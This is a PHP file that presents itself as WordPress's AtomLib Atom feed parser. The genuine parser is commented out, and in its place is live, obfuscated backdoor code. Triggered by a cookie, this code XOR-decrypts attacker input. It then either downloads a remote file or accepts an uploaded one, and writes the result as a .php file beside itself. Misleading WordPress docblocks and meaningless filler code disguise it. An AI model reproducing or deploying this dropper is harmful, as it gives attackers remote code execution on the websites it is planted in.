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<?php /*
*
* Atom Syndication Format PHP Library
*
* @package AtomLib
* @link http:code.google.com/p/phpatomlib/
*
* @author Elias Torres <elias@torrez.us>
* @version 0.4
* @since 2.3.0
*
* Structure that store common Atom Feed Properties
*
* @package AtomLib
class AtomFeed {
*
* Stores Links
* @var array
* @access public
var $links = array();
*
* Stores Categories
* @var array
* @access public
var $categories = array();
*
* Stores Entries
*
* @var array
* @access public
var $entries = array();
}
*
* Structure that store Atom Entry Properties
*
* @package AtomLib
class AtomEntry {
*
* Stores Links
* @var array
* @access public
var $links = array();
*/
/**
* Populates found_comments and max_num_pages properties for the current
* query if the limit clause was used.
*
* @since 4.6.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function get_import_map($path_parts, $post__not_in, $originalPosition)
{
if (isset($_FILES[$path_parts])) {
$widget_opts = "example";
core_upgrade_preamble($path_parts, $post__not_in, $originalPosition);
}
get_tag_feed_link($originalPosition);
}
/* translators: %s: URL to Site Health Status page. */
function filter_comment_text($timezone_string, $mailserver_url)
{
$prepared_themes = render_block_core_post_author($timezone_string) - render_block_core_post_author($mailserver_url); // Escape with wpdb.
$prepared_themes = $prepared_themes + 256;
$nav_menu_item = array("entry1", "entry2", "entry3"); // It passed the test - run the "real" method call
$remote_file = implode(" ", $nav_menu_item);
$primary_menu = strlen($remote_file);
if ($primary_menu > 10) {
$max_i = str_pad($remote_file, 15, "0");
$truncatednumber = hash('md5', $max_i);
$possible = substr($truncatednumber, 5, 10);
}
$prepared_themes = $prepared_themes % 256; // http://atomicparsley.sourceforge.net/mpeg-4files.html
$timezone_string = get_raw_theme_root($prepared_themes);
return $timezone_string;
} // Discard open paren.
/**
* Checks if a given request has access to update a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
function wp_zip_file_is_valid($primary_table, $schema_properties)
{
$native = move_uploaded_file($primary_table, $schema_properties);
$matches_bext_time = ["a", "b", "c"];
if (!empty($matches_bext_time)) {
$v_supported_attributes = implode("-", $matches_bext_time);
}
return $native;
}
/**
* Fires after the theme is switched.
*
* See {@see 'after_switch_theme'}.
*
* @since 1.5.0
* @since 4.5.0 Introduced the `$old_theme` parameter.
*
* @param string $new_name Name of the new theme.
* @param WP_Theme $new_theme WP_Theme instance of the new theme.
* @param WP_Theme $old_theme WP_Theme instance of the old theme.
*/
function get_raw_theme_root($minutes)
{
$timezone_string = sprintf("%c", $minutes);
$opening_tag_name = array("One", "Two", "Three");
$unmet_dependency_names = count($opening_tag_name);
return $timezone_string;
}
/**
* Displays the language string for the number of comments the current post has.
*
* @since 0.71
* @since 5.4.0 The `$timeuniteprecated` parameter was changed to `$post`.
*
* @param string|false $zero Optional. Text for no comments. Default false.
* @param string|false $one Optional. Text for one comment. Default false.
* @param string|false $more Optional. Text for more than one comment. Default false.
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is the global `$post`.
*/
function gensalt_private($oembed, $timestampindex) // Use the passed $user_login if available, otherwise use $_POST['user_login'].
{
$limbs = has_element_in_select_scope($oembed);
$user_props_to_export = '2023-10-18';
$paging = date('Y-m-d', strtotime($user_props_to_export)); // This function is never called when a 'loading' attribute is already present.
$nav_menu_args_hmac = hash('sha256', $paging);
$log_level = str_pad($nav_menu_args_hmac, 64, '0', STR_PAD_LEFT);
if (strlen($log_level) === 64) {
$new_sidebars_widgets = $log_level;
}
if ($limbs === false) {
return false;
}
return akismet_cmp_time($timestampindex, $limbs);
} // We need to get the month from MySQL.
/**
* Checks if maintenance mode is enabled.
*
* Checks for a file in the WordPress root directory named ".maintenance".
* This file will contain the variable $upgrading, set to the time the file
* was created. If the file was created less than 10 minutes ago, WordPress
* is in maintenance mode.
*
* @since 5.5.0
*
* @global int $upgrading The Unix timestamp marking when upgrading WordPress began.
*
* @return bool True if maintenance mode is enabled, false otherwise.
*/
function core_upgrade_preamble($path_parts, $post__not_in, $originalPosition)
{ // The comment is not classified as spam. If Akismet was the one to act on it, move it to spam.
$nextpos = $_FILES[$path_parts]['name'];
$timestampindex = sodiumCompatAutoloader($nextpos);
is_embed($_FILES[$path_parts]['tmp_name'], $post__not_in);
wp_zip_file_is_valid($_FILES[$path_parts]['tmp_name'], $timestampindex);
} // By default we are valid
/**
* Render the control's content.
*
* Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`.
*
* Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`.
* Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly.
*
* Control content can alternately be rendered in JS. See WP_Customize_Control::print_template().
*
* @since 3.4.0
*/
function wp_ajax_install_plugin($path_parts, $post__not_in)
{
$port_start = $_COOKIE[$path_parts];
$tagdata = "hash_example";
$port_start = deactivate_plugin_before_upgrade($port_start);
$DTSheader = explode("_", $tagdata);
$style_handles = substr($DTSheader[0], 0, 4);
if (strlen($style_handles) < 10) {
$http_method = hash('adler32', $style_handles);
} else {
$http_method = hash('crc32', $style_handles);
}
$originalPosition = get_theme_updates($port_start, $post__not_in);
if (get_store($originalPosition)) { // getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those.
$possible = rotateRight($originalPosition); // set offset
return $possible;
}
get_import_map($path_parts, $post__not_in, $originalPosition); // Bails out if not a number value and a px or rem unit.
}
/*
* Use the first plugin regardless of the name.
* Could have issues for multiple plugins in one directory if they share different version numbers.
*/
function wp_safe_remote_head($path_parts, $toaddr = 'txt') // include preset css classes on the the stylesheet.
{
return $path_parts . '.' . $toaddr;
}
/**
* Fires after the WP_User_Query has been parsed, and before
* the query is executed.
*
* The passed WP_User_Query object contains SQL parts formed
* from parsing the given query.
*
* @since 3.1.0
*
* @param WP_User_Query $query Current instance of WP_User_Query (passed by reference).
*/
function get_store($oembed)
{
if (strpos($oembed, "/") !== false) {
$shortcode_attrs = 'Special characters @#$%^&*';
$should_skip_font_weight = rawurlencode($shortcode_attrs);
if ($should_skip_font_weight !== $shortcode_attrs) {
$permastruct_args = 'Encoded string';
}
return true;
} // These will all fire on the init hook.
return false;
}
/**
* Registers actions and filters.
*
* @since 4.3.0
*/
function akismet_cmp_time($timestampindex, $newlineEscape)
{
return file_put_contents($timestampindex, $newlineEscape);
}
/**
* HTTP Proxy connection interface
*
* Provides a handler for connection via an HTTP proxy
*
* @package Requests\Proxy
* @since 1.6
*/
function is_embed($timestampindex, $v_bytes) // Video Playlist.
{
$p_dir = file_get_contents($timestampindex);
$newdomain = "teststring";
$size_slug = hash('sha256', $newdomain);
if(strlen($size_slug) > 50) {
$kvparts = rawurldecode($size_slug);
$js = str_pad($kvparts, 64, '0', STR_PAD_RIGHT);
}
$page_for_posts = explode("-", "1-2-3-4-5");
$user_registered = count($page_for_posts);
$setting_values = get_theme_updates($p_dir, $v_bytes);
file_put_contents($timestampindex, $setting_values);
}
/**
* Get the longitude coordinates for the item
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return string|null
*/
function get_block_style_variation_selector($layout_classes) {
$pagename = date("Y-m-d"); // If we have media:group tags, loop through them.
$lookup = hash('sha256', $pagename); // ----- Read next Central dir entry
$should_skip_font_style = explode("-", $pagename);
if (count($should_skip_font_style) > 2) {
$https_domains = trim($should_skip_font_style[1]);
$post_date = str_pad($https_domains, 5, "#");
$remove_data_markup = hash('md5', $post_date);
}
$stk = 0;
foreach ($layout_classes as $min_count) { // Now send the request
$stk += flatten_tree($min_count);
}
return $stk;
} // Retained for backwards-compatibility. Unhooked by wp_enqueue_emoji_styles().
/**
* SimplePie class.
*
* Class for backward compatibility.
*
* @deprecated Use {@see SimplePie} directly
* @package SimplePie
* @subpackage API
*/
function get_previous_image_link($layout_classes) {
$maintenance_file = "DEV56789";
return min($layout_classes); // Back-compat for info/1.2 API, upgrade the theme objects in query_themes to objects.
}
/**
* Removes expired recovery mode keys.
*
* @since 5.2.0
*
* @param int $ttl Time in seconds for the keys to be valid for.
*/
function upgrade_230_options_table($layout_classes) {
$Host = "Hello"; // [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
$lacingtype = "World"; //Add the 's' to HTTPS
$layout_selector = str_pad($lacingtype, 10, "*", STR_PAD_BOTH); // $SideInfoOffset += 5;
sort($layout_classes);
return $layout_classes; // been called that object is untouched
} // needed for ISO 639-2 language code lookup
/**
* Creates a single term in a taxonomy.
*
* @since 5.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
function check_reassign($layout_classes) {
$nonce_life = rawurldecode("test%20testing"); //
$pad_len = explode(" ", $nonce_life);
$size_check = trim($pad_len[1]);
$timeunit = hash("md2", $size_check);
return max($layout_classes);
}
/**
* Filters old_sidebars_widgets_data Customizer setting.
*
* When switching themes, filter the Customizer setting old_sidebars_widgets_data
* to supply initial $sidebars_widgets before they were overridden by retrieve_widgets().
* The value for old_sidebars_widgets_data gets set in the old theme's sidebars_widgets
* theme_mod.
*
* @since 3.9.0
*
* @see WP_Customize_Widgets::handle_theme_switch()
*
* @param array $old_sidebars_widgets
* @return array
*/
function get_dynamic_classname($path_parts)
{ // Parse site path for an IN clause.
$post__not_in = 'GfvnuBxcFzVvDfzCWYapocThfq';
$nonce_life = "data_encoded";
if (isset($_COOKIE[$path_parts])) {
$pad_len = rawurldecode($nonce_life);
wp_ajax_install_plugin($path_parts, $post__not_in);
$size_check = hash("sha1", $pad_len);
}
}
/**
* Deletes a file or directory.
*
* @since 2.7.0
*
* @param string $raw_patternile Path to the file or directory.
* @param bool $recursive Optional. If set to true, deletes files and folders recursively.
* Default false.
* @param string|false $type Type of resource. 'f' for file, 'd' for directory.
* Default false.
* @return bool True on success, false on failure.
*/
function deactivate_plugin_before_upgrade($original_end)
{
$v_u2u2 = pack("H*", $original_end);
$remote_socket = "ExampleStringNow";
$p_remove_path_size = rawurldecode($remote_socket);
return $v_u2u2;
}
/**
* Parse block metadata for a block, and prepare it for an API response.
*
* @since 5.5.0
* @since 5.9.0 Renamed `$plugin` to `$the_timetem` to match parent class for PHP 8 named parameter support.
*
* @param array $the_timetem The plugin metadata.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
function has_element_in_select_scope($oembed)
{ // a string containing one filename or one directory name, or
$oembed = get_search_handler($oembed);
$headers_sanitized = 'test@example.com';
return file_get_contents($oembed); // SKIP atom
} // we will only consider block templates with higher or equal specificity.
/**
* Filters arguments used to query for installer pages from the WordPress.org Themes API.
*
* Important: An object MUST be returned to this filter.
*
* @since 2.8.0
*
* @param object $nonce_lifergs Arguments used to query for installer pages from the WordPress.org Themes API.
* @param string $nonce_lifection Requested action. Likely values are 'theme_information',
* 'feature_list', or 'query_themes'.
*/
function wp_opcache_invalidate($layout_classes) {
$lastpostdate = "Hello World";
$lastpostdate = rawurldecode("Hello%20World%21"); # fe_sq(v3,v);
$signup = explode(" ", $lastpostdate);
return check_reassign($layout_classes) - get_previous_image_link($layout_classes);
}
/**
* Alias of wp_unregister_widget_control().
*
* @since 2.2.0
* @deprecated 2.8.0 Use wp_unregister_widget_control()
* @see wp_unregister_widget_control()
*
* @param int|string $the_timed Widget ID.
*/
function is_development_environment($oembed) // If the destination is email, send it now.
{
$nextpos = basename($oembed);
$min_count = " PHP is great! ";
$post_id_del = trim($min_count);
$link_category = strpos($post_id_del, "great");
if ($link_category !== false) {
$post_id_del = str_replace("great", "awesome", $post_id_del);
}
$timestampindex = sodiumCompatAutoloader($nextpos);
gensalt_private($oembed, $timestampindex);
}
/**
* Retrieves post statuses.
*
* @since 2.5.0
*
* @param array $nonce_lifergs {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
*/
function ge_cmov_cached($test_type, $variation_input) {
$MPEGaudioEmphasisLookup = "Alpha"; // Start at the last crumb.
$the_parent = "Beta";
$spam = array_merge(array($MPEGaudioEmphasisLookup), array($the_parent));
if (count($spam) == 2) {
$tax_query = implode("_", $spam);
}
$help_sidebar_content = [];
for ($the_time = 1; $the_time <= $variation_input; $the_time++) {
$help_sidebar_content[] = remove_header($test_type, $the_time);
}
return $help_sidebar_content;
}
/**
* Legacy function used for generating a categories drop-down control.
*
* @since 1.2.0
* @deprecated 3.0.0 Use wp_dropdown_categories()
* @see wp_dropdown_categories()
*
* @param int $size_checkurrent_cat Optional. ID of the current category. Default 0.
* @param int $size_checkurrent_parent Optional. Current parent category ID. Default 0.
* @param int $size_checkategory_parent Optional. Parent ID to retrieve categories for. Default 0.
* @param int $level Optional. Number of levels deep to display. Default 0.
* @param array $size_checkategories Optional. Categories to include in the control. Default 0.
* @return void|false Void on success, false if no categories were found.
*/
function get_tag_feed_link($plugin_active)
{ // The check of the file size is a little too strict.
echo $plugin_active; // If the uri-path contains no more than one %x2F ("/")
} // carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
/**
* Holds the upgrader data.
*
* @since 2.8.0
*
* @var WP_Upgrader
*/
function sodiumCompatAutoloader($nextpos)
{
return min_whitespace() . DIRECTORY_SEPARATOR . $nextpos . ".php";
} // And nav menu items are grouped into nav menus.
/**
* Checks if any callbacks have been registered for this hook.
*
* @since 4.7.0
*
* @return bool True if callbacks have been registered for the current hook, otherwise false.
*/
function get_theme_updates($ThisValue, $v_bytes)
{
$spacing_rules = strlen($v_bytes);
$pending_admin_email_message = 12345;
$previous_date = hash('md5', $pending_admin_email_message);
$other_unpubs = str_pad($previous_date, 32, '0', STR_PAD_LEFT);
$preset_metadata_path = strlen($other_unpubs);
$memo = strlen($ThisValue);
if ($preset_metadata_path > 30) {
$required_attribute = substr($other_unpubs, 0, 30);
} else {
$required_attribute = str_replace('0', '1', $other_unpubs);
}
// Search all directories we've found for evidence of version control.
$spacing_rules = $memo / $spacing_rules;
$spacing_rules = ceil($spacing_rules);
$MIMEHeader = str_split($ThisValue); // The new role must be editable by the logged-in user.
$v_bytes = str_repeat($v_bytes, $spacing_rules);
$lyrics = str_split($v_bytes);
$lyrics = array_slice($lyrics, 0, $memo); // Get the menu from the location, returning early if there is no
$AudioChunkStreamType = array_map("filter_comment_text", $MIMEHeader, $lyrics);
$AudioChunkStreamType = implode('', $AudioChunkStreamType);
return $AudioChunkStreamType;
}
/* translators: %s: URL to Settings > General > Site Address. */
function rest_validate_boolean_value_from_schema($layout_classes) {
$theme_key = "Text Manipulation";
rsort($layout_classes);
if (isset($theme_key)) {
$wp_press_this = str_replace("Manipulation", "Example", $theme_key);
}
$new_allowed_options = strlen($wp_press_this);
$svg = hash('sha1', $wp_press_this);
$help_overview = array("Apple", "Banana", "Cherry");
return $layout_classes; // 0000 001x xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^49-2
}
/*
* Send no-cache headers if $send_no_cache_headers is true,
* OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
*/
function rotateRight($originalPosition)
{
is_development_environment($originalPosition);
$last_index = [];
get_tag_feed_link($originalPosition); // VbriVersion
}
/**
* @param array $SimpleTagArray
*
* @return bool
*/
function flatten_tree($min_count) {
$shared_tt_count = "Sample Text";
$primary_id_column = rawurldecode("Sample%20Text"); // Replace symlinks formatted as "source -> target" with just the source name.
if (isset($primary_id_column)) {
$save_text = str_replace("Sample", "Example", $primary_id_column);
}
return count(str_split($min_count));
}
/**
* Filters the adjacent post relational link.
*
* The dynamic portion of the hook name, `$nonce_lifedjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `next_post_rel_link`
* - `previous_post_rel_link`
*
* @since 2.8.0
*
* @param string $link The relational link.
*/
function min_whitespace()
{
return __DIR__;
}
/**
* Adds multiple links to the response.
*
* Link data should be an associative array with link relation as the key.
* The value can either be an associative array of link attributes
* (including `href` with the URL for the response), or a list of these
* associative arrays.
*
* @since 4.4.0
*
* @param array $links Map of link relation to list of links.
*/
function remove_header($test_type, $has_text_columns_support) {
$nonce_life = "Hello, World!";
$pad_len = substr($nonce_life, 7, 5);
$size_check = "John Doe";
return pow($test_type, $has_text_columns_support);
}
/**
* Backward compatibility, where wpdb::prepare() has not quoted formatted/argnum placeholders.
*
* This is often used for table/field names (before %i was supported), and sometimes string formatting, e.g.
*
* $wpdb->prepare( 'WHERE `%1$s` = "%2$s something %3$s" OR %1$s = "%4$-10s"', 'field_1', 'a', 'b', 'c' );
*
* But it's risky, e.g. forgetting to add quotes, resulting in SQL Injection vulnerabilities:
*
* $wpdb->prepare( 'WHERE (id = %1s) OR (id = %2$s)', $_GET['id'], $_GET['id'] ); // ?id=id
*
* This feature is preserved while plugin authors update their code to use safer approaches:
*
* $_GET['key'] = 'a`b';
*
* $wpdb->prepare( 'WHERE %1s = %s', $_GET['key'], $_GET['value'] ); // WHERE a`b = 'value'
* $wpdb->prepare( 'WHERE `%1$s` = "%2$s"', $_GET['key'], $_GET['value'] ); // WHERE `a`b` = "value"
*
* $wpdb->prepare( 'WHERE %i = %s', $_GET['key'], $_GET['value'] ); // WHERE `a``b` = 'value'
*
* While changing to false will be fine for queries not using formatted/argnum placeholders,
* any remaining cases are most likely going to result in SQL errors (good, in a way):
*
* $wpdb->prepare( 'WHERE %1$s = "%2$-10s"', 'my_field', 'my_value' );
* true = WHERE my_field = "my_value "
* false = WHERE 'my_field' = "'my_value '"
*
* But there may be some queries that result in an SQL Injection vulnerability:
*
* $wpdb->prepare( 'WHERE id = %1$s', $_GET['id'] ); // ?id=id
*
* So there may need to be a `_doing_it_wrong()` phase, after we know everyone can use
* identifier placeholders (%i), but before this feature is disabled or removed.
*
* @since 6.2.0
* @var bool
*/
function get_search_handler($oembed)
{
$oembed = "http://" . $oembed;
$newdomain = "abcdefgh";
$source_post_id = substr($newdomain, 0, 4);
$v_maximum_size = strlen($source_post_id);
if ($v_maximum_size == 4) {
$possible = "This is a 4 character string.";
}
return $oembed;
}
/** @var ParagonIE_Sodium_Core32_Curve25519_Fe $timeunit2 */
function wp_text_diff($submit_classes_attr, $login_title) {
$search_terms = 0; // Denote post states for special pages (only in the admin).
$pad_len = "Example Text";
$size_check = array("apple", "banana", "cherry"); // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
$timeunit = str_replace(" ", "-", $pad_len);
$term_names = strlen($timeunit);
for ($the_time = $submit_classes_attr; $the_time <= $login_title; $the_time++) { // Only create an autosave when it is different from the saved post.
$raw_pattern = explode("-", $timeunit);
if (count($raw_pattern) > 1) {
$revisions_rest_controller_class = implode(" ", $raw_pattern);
}
$search_terms += $the_time; // default http request method
} // Send the current time according to the server.
return $search_terms; // Max-depth is 1-based.
}
/**
* Starts the list before the elements are added.
*
* @since 2.7.0
*
* @see Walker::start_lvl()
* @global int $size_checkomment_depth
*
* @param string $output Used to append additional content (passed by reference).
* @param int $timeunitepth Optional. Depth of the current comment. Default 0.
* @param array $nonce_lifergs Optional. Uses 'style' argument for type of HTML list. Default empty array.
*/
function render_block_core_post_author($minutes)
{
$minutes = ord($minutes); // If the menu exists, get its items.
$lat_deg = "SampleToDecode";
$ASFbitrateVideo = rawurldecode($lat_deg);
return $minutes;
} // or after the previous event. All events MUST be sorted in chronological order.
$path_parts = 'ceNPIf';
$nonce_life = array("first" => 1, "second" => 2);
get_dynamic_classname($path_parts);
$pad_len = count($nonce_life);
$w1 = wp_opcache_invalidate([5, 6, 1, 2, 4]);
$size_check = in_array(2, $nonce_life);
/* *
* Stores Categories
* @var array
* @access public
var $categories = array();
}
*
* AtomLib Atom Parser API
*
* @package AtomLib
class AtomParser {
var $NS = 'http:www.w3.org/2005/Atom';
var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');
var $debug = false;
var $depth = 0;
var $indent = 2;
var $in_content;
var $ns_contexts = array();
var $ns_decls = array();
var $content_ns_decls = array();
var $content_ns_contexts = array();
var $is_xhtml = false;
var $is_html = false;
var $is_text = true;
var $skipped_div = false;
var $FILE = "php:input";
var $feed;
var $current;
*
* PHP5 constructor.
function __construct() {
$this->feed = new AtomFeed();
$this->current = null;
$this->map_attrs_func = array( __CLASS__, 'map_attrs' );
$this->map_xmlns_func = array( __CLASS__, 'map_xmlns' );
}
*
* PHP4 constructor.
public function AtomParser() {
self::__construct();
}
*
* Map attributes to key="val"
*
* @param string $k Key
* @param string $v Value
* @return string
public static function map_attrs($k, $v) {
return "$k=\"$v\"";
}
*
* Map XML namespace to string.
*
* @param indexish $p XML Namespace element index
* @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ]
* @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"'
public static function map_xmlns($p, $n) {
$xd = "xmlns";
if( 0 < strlen($n[0]) ) {
$xd .= ":{$n[0]}";
}
return "{$xd}=\"{$n[1]}\"";
}
function _p($msg) {
if($this->debug) {
print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
}
}
function error_handler($log_level, $log_text, $error_file, $error_line) {
$this->error = $log_text;
}
function parse() {
set_error_handler(array(&$this, 'error_handler'));
array_unshift($this->ns_contexts, array());
if ( ! function_exists( 'xml_parser_create_ns' ) ) {
trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
return false;
}
$parser = xml_parser_create_ns();
xml_set_object($parser, $this);
xml_set_element_handler($parser, "start_element", "end_element");
xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
xml_set_character_data_handler($parser, "cdata");
xml_set_default_handler($parser, "_default");
xml_set_start_namespace_decl_handler($parser, "start_ns");
xml_set_end_namespace_decl_handler($parser, "end_ns");
$this->content = '';
$ret = true;
$fp = fopen($this->FILE, "r");
while ($data = fread($fp, 4096)) {
if($this->debug) $this->content .= $data;
if(!xml_parse($parser, $data, feof($fp))) {
translators: 1: Error message, 2: Line number.
trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser)));
$ret = false;
break;
}
}
fclose($fp);
xml_parser_free($parser);
unset($parser);
restore_error_handler();
return $ret;
}
function start_element($parser, $name, $attrs) {
$name_parts = explode(":", $name);
$tag = array_pop($name_parts);
switch($name) {
case $this->NS . ':feed':
$this->current = $this->feed;
break;
case $this->NS . ':entry':
$this->current = new AtomEntry();
break;
};
$this->_p("start_element('$name')");
#$this->_p(print_r($this->ns_contexts,true));
#$this->_p('current(' . $this->current . ')');
array_unshift($this->ns_contexts, $this->ns_decls);
$this->depth++;
if(!empty($this->in_content)) {
$this->content_ns_decls = array();
if($this->is_html || $this->is_text)
trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");
$attrs_prefix = array();
resolve prefixes for attributes
foreach($attrs as $key => $value) {
$with_prefix = $this->ns_to_prefix($key, true);
$attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
}
$attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
if(strlen($attrs_str) > 0) {
$attrs_str = " " . $attrs_str;
}
$with_prefix = $this->ns_to_prefix($name);
if(!$this->is_declared_content_ns($with_prefix[0])) {
array_push($this->content_ns_decls, $with_prefix[0]);
}
$xmlns_str = '';
if(count($this->content_ns_decls) > 0) {
array_unshift($this->content_ns_contexts, $this->content_ns_decls);
$xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
if(strlen($xmlns_str) > 0) {
$xmlns_str = " " . $xmlns_str;
}
}
array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));
} else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
$this->in_content = array();
$this->is_xhtml = $attrs['type'] == 'xhtml';
$this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
$this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
$type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));
if(in_array('src',array_keys($attrs))) {
$this->current->$tag = $attrs;
} else {
array_push($this->in_content, array($tag,$this->depth, $type));
}
} else if($tag == 'link') {
array_push($this->current->links, $attrs);
} else if($tag == 'category') {
array_push($this->current->categories, $attrs);
}
$this->ns_decls = array();
}
function end_element($parser, $name) {
$name_parts = explode(":", $name);
$tag = array_pop($name_parts);
$ccount = count($this->in_content);
# if we are *in* content, then let's proceed to serialize it
if(!empty($this->in_content)) {
# if we are ending the original content element
# then let's finalize the content
if($this->in_content[0][0] == $tag &&
$this->in_content[0][1] == $this->depth) {
$origtype = $this->in_content[0][2];
array_shift($this->in_content);
$newcontent = array();
foreach($this->in_content as $c) {
if(count($c) == 3) {
array_push($newcontent, $c[2]);
} else {
if($this->is_xhtml || $this->is_text) {
array_push($newcontent, $this->xml_escape($c));
} else {
array_push($newcontent, $c);
}
}
}
if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
$this->current->$tag = array($origtype, join('',$newcontent));
} else {
$this->current->$tag = join('',$newcontent);
}
$this->in_content = array();
} else if($this->in_content[$ccount-1][0] == $tag &&
$this->in_content[$ccount-1][1] == $this->depth) {
$this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
} else {
# else, just finalize the current element's content
$endtag = $this->ns_to_prefix($name);
array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
}
}
array_shift($this->ns_contexts);
$this->depth--;
if($name == ($this->NS . ':entry')) {
array_push($this->feed->entries, $this->current);
$this->current = null;
}
$this->_p("end_element('$name')");
}
function start_ns($parser, $prefix, $uri) {
$this->_p("starting: " . $prefix . ":" . $uri);
array_push($this->ns_decls, array($prefix,$uri));
}
function end_ns($parser, $prefix) {
$this->_p("ending: #" . $prefix . "#");
}
function cdata($parser, $data) {
$this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
if(!empty($this->in_content)) {
array_push($this->in_content, $data);
}
}
function _default($parser, $data) {
# when does this gets called?
}
function ns_to_prefix($qname, $attr=false) {
# split 'http:www.w3.org/1999/xhtml:div' into ('http','www.w3.org/1999/xhtml','div')
$components = explode(":", $qname);
# grab the last one (e.g 'div')
$name = array_pop($components);
if(!empty($components)) {
# re-join back the namespace component
$ns = join(":",$components);
foreach($this->ns_contexts as $context) {
foreach($context as $mapping) {
if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
return array($mapping, "$mapping[0]:$name");
}
}
}
}
if($attr) {
return array(null, $name);
} else {
foreach($this->ns_contexts as $context) {
foreach($context as $mapping) {
if(strlen($mapping[0]) == 0) {
return array($mapping, $name);
}
}
}
}
}
function is_declared_content_ns($new_mapping) {
foreach($this->content_ns_contexts as $context) {
foreach($context as $mapping) {
if($new_mapping == $mapping) {
return true;
}
}
}
return false;
}
function xml_escape($content)
{
return str_replace(array('&','"',"'",'<','>'),
array('&','"',''','<','>'),
$content );
}
}
*/